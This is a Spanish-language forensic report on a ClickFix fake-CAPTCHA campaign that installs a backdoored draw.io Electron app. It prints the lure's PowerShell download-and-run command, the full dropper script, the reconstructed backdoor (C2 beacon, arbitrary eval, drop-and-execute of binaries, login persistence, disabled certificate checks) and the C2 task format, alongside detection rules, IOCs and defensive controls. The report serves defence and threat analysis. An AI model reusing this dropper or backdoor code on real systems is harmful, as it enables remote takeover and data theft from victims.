Reporte Forense de Malware
Campaña ClickFix → Loader Electron Trojanizado

01Resumen Ejecutivo

La víctima vio un CAPTCHA falso, pegó el comando PowerShell que el sitio le pidió, y a partir de ahí el equipo quedó comprometido. El payload final es un draw.io modificado: parece la app de diagramas pero por dentro lleva un backdoor en JavaScript dentro del app.asar. Ese backdoor hace tres cosas al arrancar: se queda residente al inicio de sesión vía setLoginItemSettings, llama cada 65 segundos a chimefusion.com por HTTPS, y obedece dos tipos de orden — eval de JS arbitrario, o escribir y lanzar binarios que el C2 le envíe en base64. Ningún antivirus tradicional lo detiene en este flujo, porque el ejecutable draw.io.exe es el launcher legítimo de Electron sin tocar.

Lo que el backdoor sabe hacer

• Ejecuta JavaScript arbitrario en memoria vía eval(s.e) con la respuesta del C2. Como corre dentro de Node.js de Electron, el operador tiene acceso completo a fs, child_process, os y compañía. No hace falta dropear nada al disco para tener RCE.
• Cuando sí quiere dejar archivos, los manda en el campo files del JSON: clave es la ruta relativa, valor es base64. Los escribe a %TEMP%\<timestamp>\ y si alguno termina en .exe, lo lanza con child_process.exec. Sirve para entregar stage 4 (un infostealer típico, ransomware, lo que sea).
• Para sobrevivir reinicios usa app.setLoginItemSettings({openAtLogin:true}). Bajo el capó, Electron escribe la entrada en HKCU\Software\Microsoft\Windows\CurrentVersion\Run, que es exactamente donde mira un Autoruns o un Sysmon.
• El beacon va a https://chimefusion.com/u/ cada 65 segundos. POST con cuerpo [deviceId, COMPUTERNAME, USERNAME]. Periodicidad fija sin jitter, lo cual es un regalo para cualquier NDR.
• Hay un detalle sutil en el cliente HTTPS: rejectUnauthorized:false. Eso significa que el operador puede rotar el certificado del C2 a uno auto-firmado o expirado sin que el malware se rompa.

02Metodología

Todo el trabajo se hizo en Linux. Los binarios Windows nunca se ejecutaron — sólo se descargaron, se desensamblaron, se hasheó lo que se podía hashear, y para el JS ofuscado se aisló el decoder en un Node sin red. Las skills que sirvieron de guía son éstas:

Herramientas usadas

• curl — descarga controlada con cabeceras WPS / User-Agent suplantando PowerShell.
• unzip, file, strings, xxd — análisis estático de archivos.
• Python 3 — entropía Shannon, parser ASAR.
• Node.js — ejecución aislada del decodificador RC4 + base64 (sin eval, sin red, sin escritura).
• sha256sum, md5sum — fingerprinting.

03Lure / Vector Inicial — ClickFix CAPTCHA

La página fraudulenta presenta una verificación tipo "I'm not a robot" con un Verification ID ficticio para añadir credibilidad y solicita al usuario pegar un comando en la ventana Ejecutar de Windows (Win+R) o en PowerShell:

Security check
✔️ I'm not a robot
Verification ID: 614827

powershell "Write-Host(&{iex(irm(('ccud'+'mcx')+('.x'+'yz/u')))})2>$null"

Decodificación del comando

Comando equivalente "limpio":

Invoke-Expression (Invoke-RestMethod 'https://ccudmcx.xyz/u')

04Etapa 1 — Dropper PowerShell script.ps1

Estructura: dos bloques, uno honesto, uno falso

Si abres el script y lees de arriba a abajo, los primeros 40 renglones parecen un ejemplo de tutorial de PowerShell. Define variables, itera sobre una lista de frutas, suma del 1 al 10, hace un Get-Square 7, falla a propósito un [int]::Parse("oops") para probar el try/catch. Todo va a parar a %LOCALAPPDATA%\Microsoft\Cache\demo.log. Es ruido. La carga útil vive en el bloque finally{} que la mayoría de revisores humanos ya no leen porque "ya entendí lo que hace":

$script = @'
$downloadUrl    = "https://ccudmcx.xyz/update.zip"
$appDataPath    = [Environment]::GetFolderPath("LocalApplicationData")
$subFolder      = "UpdateApp"
$destinationPath = Join-Path $appDataPath $subFolder
$zipPath        = Join-Path $env:TEMP "update26.zip"
if (!(Test-Path $destinationPath)) {
    New-Item -ItemType Directory -Path $destinationPath -Force | Out-Null
}
Invoke-WebRequest -Uri $downloadUrl -OutFile $zipPath -UseBasicParsing
Expand-Archive -Path $zipPath -DestinationPath $destinationPath -Force
Remove-Item $zipPath -Force
Start-Process -FilePath "$destinationPath\draw.io.exe"
'@

$path = "$env:TEMP\runner.ps1"
$script | Set-Content -Path $path -Encoding UTF8
Start-Process powershell -ArgumentList "-ExecutionPolicy Bypass -File `"$path`"" -WindowStyle Hidden

Comportamiento observado

05Etapa 2 — Archivo update.zip & Bundle Electron

Comparativa de tamaños (anti-AV padding)

Inventario completo (75 archivos)

Estructura idéntica a una distribución Electron estándar de drawio-desktop v19.0.3, pero el archivo resources/app.asar (151 MB) está modificado — el original v19 ronda 80 MB.

06Etapa 3 — Backdoor Electron en app.asar

Comparativa de entropía

Deobfuscación — pseudocódigo limpio

Para llegar al código real tuve que reescribir el decodificador en Python primero, fallé porque el alfabeto base64 está volteado (lowercase primero), y al final lo más rápido fue extraer la función decoder y el array de strings, meterlos en un Node aislado sin red ni filesystem, e invocar el decoder sobre los 1,015 índices. Lo que sigue es el bootstrap reconstruido. Las 5,500+ líneas que vienen después son draw.io legítimo, pero como el bootstrap llama a r() y r() nunca retorna, esa parte es código muerto.

// === Configuración del C2 ===
const k = "chimefusion.com/u/";

// === Cliente HTTP via 'https' module ===
function j(url, opts={}) {
    return new Promise((resolve, reject) => {
        const [hostname, ...rest] = url.split('/');
        const path = '/' + rest.join('/');
        const req = https.request({
            hostname, path,
            method: opts.method || 'GET',
            headers: opts.headers || {},
            rejectUnauthorized: false          // ← bypass TLS
        }, res => {
            const chunks = [];
            res.on('data', c => chunks.push(c));
            res.on('end', () => {
                const buf = Buffer.concat(chunks);
                resolve({ ok: res.statusCode >= 200 && res.statusCode < 300,
                          status: res.statusCode, headers: res.headers,
                          json: () => Promise.resolve(JSON.parse(buf.toString())),
                          text: () => Promise.resolve(buf.toString()) });
            });
        });
        req.on('error', reject);
        if (opts.body) req.write(opts.body);
        req.end();
    });
}

// === Device fingerprint persistente ===
function n() {
    const setupPath = path.join(process.env.APPDATA, "setup.txt");
    if (fs.existsSync(setupPath)) return fs.readFileSync(setupPath, 'utf8').trim();
    const id = Math.random().toString(36).slice(2, 10);  // 8-char rand
    fs.writeFileSync(setupPath, id);
    return id;
}

// === Beacon: POST [deviceId, COMPUTERNAME, USERNAME] ===
async function p() {
    try {
        const resp = await j(k, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify([n(), process.env.COMPUTERNAME, process.env.USERNAME])
        });
        const obj = await resp.json();
        if (obj.task) q(obj.task);
    } catch (e) { console.log(e); }
}

// === Handler de tareas del C2 ===
function q(s) {
    if (s.e) {                                // → RCE in-memory
        try { eval(s.e); } catch (_) {}
        return;
    }
    const dropDir = path.join(process.env.TEMP, String(Date.now()));
    fs.mkdirSync(dropDir, { recursive: true });
    let entryExe = null;
    for (const [name, b64] of Object.entries(s.files || {})) {
        const full = path.join(dropDir, name);
        fs.mkdirSync(path.dirname(full), { recursive: true });
        fs.writeFileSync(full, Buffer.from(b64, 'base64'));
        if (name.endsWith('.exe')) entryExe = full;
    }
    if (entryExe) require('child_process').exec('"' + entryExe + '"', { cwd: dropDir });
}

// === Persistencia: auto-start al login ===
app.setLoginItemSettings({
    openAtLogin: true,
    openAsHidden: false,
    path: app.getPath('exe'),
    args: []
});

// === Bucle infinito de beacon (cada 65 s) ===
async function r() {
    while (true) {
        await p();
        await new Promise(res => setTimeout(res, 65000));
    }
}

// === IIFE bootstrap — bloquea init legítimo de drawio ===
(async () => {
    await r();   // nunca retorna
    /* …código legítimo de electron.js a partir de aquí — UNREACHABLE… */
})();

Strings RC4 decodificadas relevantes

07Análisis de Red & Protocolo C2

Diagrama de infraestructura (animado)

Cabeceras HTTP observadas

HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 2564
Server: cloudflare
Content-Description: File Transfer
Content-Disposition: attachment; filename="script.ps1"
Cache-Control: no-store, no-cache, must-revalidate
CF-RAY: 9f694f10ea30a28b-YUL

Protocolo del C2 (RAT)

POST /u/ HTTP/1.1
Host: chimefusion.com
Content-Type: application/json

["a3k7m9q2", "DESKTOP-VICTIM-01", "jdoe"]

// Modalidad A: ejecución JS arbitraria
{ "task": { "e": "require('child_process').exec('whoami /all > %TEMP%\\out.txt')" } }

// Modalidad B: drop & execute binario
{ "task": {
    "files": {
      "stage4.exe": "<base64-payload>",
      "libs/helper.dll": "<base64-payload>"
    }
} }

Características defensivas/evasivas del canal

07BDetonación real — análisis del PCAP

Tras escribir el cuerpo del reporte, llegó a mis manos el PCAP de una detonación real de esta misma campaña — una víctima en Windows 11 cayó en el lure el mismo día (2026-05-04, hora local de la víctima 17:34 UTC) y todo el flujo quedó capturado a nivel de red. Este anexo contrasta lo que se observa en cable contra lo que se reverseó del payload.

El lure original venía de fepafut.com

Línea temporal real (de la captura)

Stack de protocolos visto en cable

HTTP requests capturadas (texto plano)

T+117.577s
GET /u HTTP/1.1
Host: ccudmcx.xyz
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; es-MX) WindowsPowerShell/5.1.26100.8115

→ 301 Moved Permanently
   Date: Mon, 04 May 2026 17:36:04 GMT
   Server: cloudflare
   Location: http://ccudmcx.xyz/u/

T+118.155s
GET /u/ HTTP/1.1
Host: ccudmcx.xyz
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; es-MX) WindowsPowerShell/5.1.26100.8115

→ 200 OK
   Server: cloudflare
   Content-Type: application/octet-stream
   Content-Length: 2564
   Content-Disposition: attachment; filename="script.ps1"

Lo que NO está en el PCAP

• No hay DNS ni tráfico hacia chimefusion.com. La razón es simple: la captura termina a T+236 s con la víctima recibiendo todavía bytes del update.zip (envió un TCP ZeroWindow en el último paquete por buffer lleno). Sólo se transfirieron ~22 MB de los 128 MB del ZIP. El RAT nunca llegó a instalarse en este pcap.
• No hay descargas de stage 4. Lógico: requiere que el RAT beaconee primero, y eso no pasó dentro del intervalo capturado.
• No hay tráfico hacia C2 conocidos de familias commodity (Lumma, Vidar, StealC). Si el operador entrega un infostealer en stage 4, ya sería tráfico desde dentro del Electron, no desde el PowerShell.

Detalle interesante: el lure usa QUIC

La conexión inicial a www.fepafut.com va por QUIC (HTTP/3), no por TCP+TLS. Eso quiere decir dos cosas para el equipo defensivo:

• La inspección clásica de TLS (puerto 443/TCP) no ve esta conexión; sólo sensores con decodificación de QUIC o reglas sobre UDP/443 capturan tráfico de esta naturaleza.
• El SNI permanece visible en el primer paquete del Initial QUIC (no cifrado en handshake), por lo que la categorización de URL por SNI sigue siendo observable cuando las herramientas parsean QUIC.

IOCs nuevos extraídos del PCAP

Reglas de detección observables a partir del PCAP

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ClickFix ccudmcx.xyz dropper download";
    flow:established,to_server; http.host; content:"ccudmcx.xyz"; nocase;
    http.uri; pcre:"/^\/u\/?$/";
    http.user_agent; content:"WindowsPowerShell";
    classtype:trojan-activity; sid:1000001; rev:1;)

alert tls $HOME_NET any -> $EXTERNAL_NET any (msg:"ClickFix C2 chimefusion.com beacon";
    flow:established,to_server; tls.sni; content:"chimefusion.com"; nocase;
    classtype:trojan-activity; sid:1000002; rev:1;)

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"PowerShell User-Agent fetching .ps1 / .zip";
    flow:established,to_server; http.user_agent; content:"WindowsPowerShell";
    http.uri; pcre:"/\.(ps1|zip)$/i";
    classtype:policy-violation; sid:1000003; rev:1;)

08Indicadores de Compromiso (IOCs)

Network IOCs

File hashes (SHA-256)

Host IOCs (artefactos en sistema infectado)

Reglas YARA propuestas

rule ClickFix_PS_Dropper_ccudmcx_2026 {
    meta:
        author = "jespinosa@sofistic.com"
        date   = "2026-05-04"
        sha256 = "85b38a1adaf13650d06966572e402415ac3aa7ec9f53adb6e5eb48ae8b0f9974"
    strings:
        $u1 = "ccudmcx.xyz/update.zip" ascii wide
        $u2 = "\\UpdateApp" ascii wide
        $u3 = "update26.zip" ascii wide
        $u4 = "draw.io.exe" ascii wide
        $h1 = "-ExecutionPolicy Bypass -File" ascii wide
        $h2 = "-WindowStyle Hidden" ascii wide
    condition:
        3 of ($u*) and all of ($h*)
}

rule Electron_Backdoor_chimefusion_2026 {
    meta:
        author = "jespinosa@sofistic.com"
        sha256 = "76ef3db102e0adf27b0b0f7257acebf9f0279d5c690d742a4c78ca59f5ae35eb"
    strings:
        $obf1 = "function d(W,o){W=W-229"          // decoder firma
        $rc4  = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/="
        $api1 = "setLoginItemSettings"
        $api2 = "rejectUnauthorized"
        $api3 = "child_process"
    condition:
        $obf1 and $rc4 and 2 of ($api*)
}

09Mapeo MITRE ATT&CK®

10Lockheed Martin Cyber Kill Chain

11Diamond Model

Hipótesis de atribución (Analysis of Competing Hypotheses)

12Observaciones defensivas

Este apartado documenta — desde la perspectiva de la investigación — qué telemetría, qué artefactos y qué controles serían relevantes ante una cadena como la analizada. No constituye una guía de remediación ni una recomendación operativa para terceros; cada organización aplica su propio criterio en función de su modelo de amenazas, infraestructura y políticas internas.

Artefactos clave para validar el compromiso

De la cadena se desprenden tres familias de artefactos que, en conjunto, permiten distinguir un host comprometido de uno limpio:

• Pivotes de red: los dominios ccudmcx.xyz y chimefusion.com son los puntos centrales de la cadena. El segundo permanece activo después de la descarga inicial, lo que lo hace especialmente relevante para análisis longitudinal en logs de proxy y DNS.
• Pivotes de filesystem: tres rutas son firma del compromiso — %LOCALAPPDATA%\UpdateApp\draw.io.exe, %APPDATA%\setup.txt y %LOCALAPPDATA%\Microsoft\Cache\demo.log — cualquiera de ellas, observada en disco, basta para confirmar la cadena.
• Persistencia: la clave HKCU\Software\Microsoft\Windows\CurrentVersion\Run\draw.io es el mecanismo de auto-arranque, escrito por setLoginItemSettings desde el propio Electron.

Una consulta KQL que combina los marcadores de línea de comando observados:

DeviceProcessEvents
| where ProcessCommandLine has_any ("iex(irm", "Invoke-RestMethod", "WindowStyle Hidden")
| where ProcessCommandLine has_any ("ccudmcx", "chimefusion", "update26.zip")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName

En presencia del compromiso confirmado, los modelos de respuesta a infostealers (rotación de credenciales, invalidación de sesiones, asunción de robo de cookies y tokens) son el marco de referencia comúnmente aplicado, ya que el stage 4 entrega típicamente carga capaz de exfiltrar material sensible del navegador.

Controles defensivos relevantes para esta cadena

Los siguientes controles son los que, observando la cadena, aplicarían en cada superficie. No son recomendaciones de implementación universal — son las piezas de defensa cuya presencia o ausencia se puede inferir a partir de cada paso del flujo:

• Application allowlisting (WDAC / AppLocker): la cadena depende de ejecutar un Electron desde %LOCALAPPDATA%. Entornos con allowlisting estricto sobre rutas del tipo Program Files y firmas válidas observarían esta ejecución como anomalía inmediata.
• PowerShell Script Block Logging (Event ID 4104) y Constrained Language Mode: sin estos logs el primer eslabón (iex(irm ccudmcx.xyz/u)) se ejecuta sin telemetría disponible para el SOC.
• Políticas de Win+R por GPO: el vector se apoya en el cuadro Ejecutar; en entornos donde Win+R no es necesario para el usuario final, su deshabilitación (NoRun=1 en HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer) suprime el vector tal como está implementado en este caso.
• Concienciación de usuario: el patrón ClickFix se basa en convencer al usuario de pegar comandos. La premisa "ningún sitio legítimo pide pegar un comando en PowerShell o Win+R" es la observación de fondo que explota la cadena. Microsoft documenta el patrón con detalle.
• Telemetría EDR sobre Electron: un proceso Electron que invoca setLoginItemSettings({ openAtLogin: true }) desde fuera de rutas firmadas es un comportamiento atípico observable. La mayoría de instaladores legítimos de Electron firman sus binarios y se ubican en rutas estables.
• NDR sobre periodicidad de beacon: el beacon a 65 s sin jitter produce una serie temporal con varianza inter-arrival prácticamente nula. Zeek y soluciones equivalentes pueden modelar esa periodicidad explícitamente.
• Reputación de dominios recién registrados (NRD): los dos dominios del operador se observan como NRD; este atributo es el más estable de la cadena para detección genérica.

Observaciones estratégicas

• La cadena exfiltra a través de stages que típicamente capturan material del navegador (cookies, tokens, sesiones). Mecanismos de autenticación basados en passkeys / FIDO2 quedan fuera del alcance del modelo de robo más común en esta familia, lo que ilustra el valor de las primitivas resistentes a phishing en el contexto observado.
• Sin inspección TLS, el contenido del beacon no es visible — sólo el SNI. La cadena ilustra el equilibrio entre privacidad de sesión y observabilidad del payload que cada arquitectura de red resuelve de forma distinta.
• La carga útil (stage 2) llega como un ZIP de ~110 MB con un app.asar manipulado dentro. La estabilidad de los hashes del .asar — incluso cuando el binario se reempaqueta — es un atributo observable raramente explotado en pipelines de inspección de archivos.

13Anexos

A. Línea temporal de ejecución (animada)

A.1 Sub-flujo: bootstrap interno del backdoor

B. Inventario de archivos analizados

C. Cabeceras HTTP completas

HTTP/2 301
date: Mon, 04 May 2026 17:43:38 GMT
content-type: text/html; charset=iso-8859-1
location: http://ccudmcx.xyz/u/
server: cloudflare
cf-ray: 9f694f0f0c305383-YYZ
alt-svc: h3=":443"; ma=86400

HTTP/1.1 200 OK
Date: Mon, 04 May 2026 17:43:38 GMT
Content-Type: application/octet-stream
Content-Length: 2564
Server: cloudflare
Content-Description: File Transfer
Content-Disposition: attachment; filename="script.ps1"
Cache-Control: no-store, no-cache, must-revalidate
CF-RAY: 9f694f10ea30a28b-YUL

14Referencias y Fuentes Citadas

1. Microsoft Security Blog — Think before you ClickFix: Analyzing the ClickFix social engineering technique (Aug 2025)
2. Splunk — Beyond The Click: Unveiling Fake CAPTCHA Campaigns
3. FortiGuard Labs — From ClickFix to Command: A Full PowerShell Attack Chain
4. SocRadar — ClickFix & FileFix: How a Copy-Paste Trick Became 2025's Top Social Engineering Threat
5. SentinelOne — Caught in the CAPTCHA: How ClickFix is Weaponizing Verification Fatigue to Deliver RATs & Infostealers
6. CYFIRMA — Fake CAPTCHA Malware Campaign
7. eSecurity Planet — ClickFix Campaign Uses Fake CAPTCHA Pages to Deliver StealC Malware
8. The Hacker News (Ene 2026) — ClickFix Attacks Expand Using Fake CAPTCHAs
9. Kaspersky — Variations of the ClickFix
10. FIRST Conf 2023 — Horejsi: Abusing Electron-Based Applications in Targeted Attacks
11. Intego — OSX/Amos: Hunting C2s in Trojanized Electron ASAR Payloads (Mar 2026)
12. Maldev-Academy — ElectronVulnScanner (detector de ASAR tampering)
13. Huntress — ClickFix Gets Creative: Malware Buried in Images
14. MITRE ATT&CK — T1204.004 Malicious Copy and Paste
15. MITRE ATT&CK — T1547.001 Registry Run Keys / Startup Folder
16. JGraph — drawio-desktop (proyecto legítimo, abusado en este caso)
17. Anthropic-Cybersecurity-Skills (754 skills aplicadas)
18. awesome-dfir-skills (workflow de análisis de malware)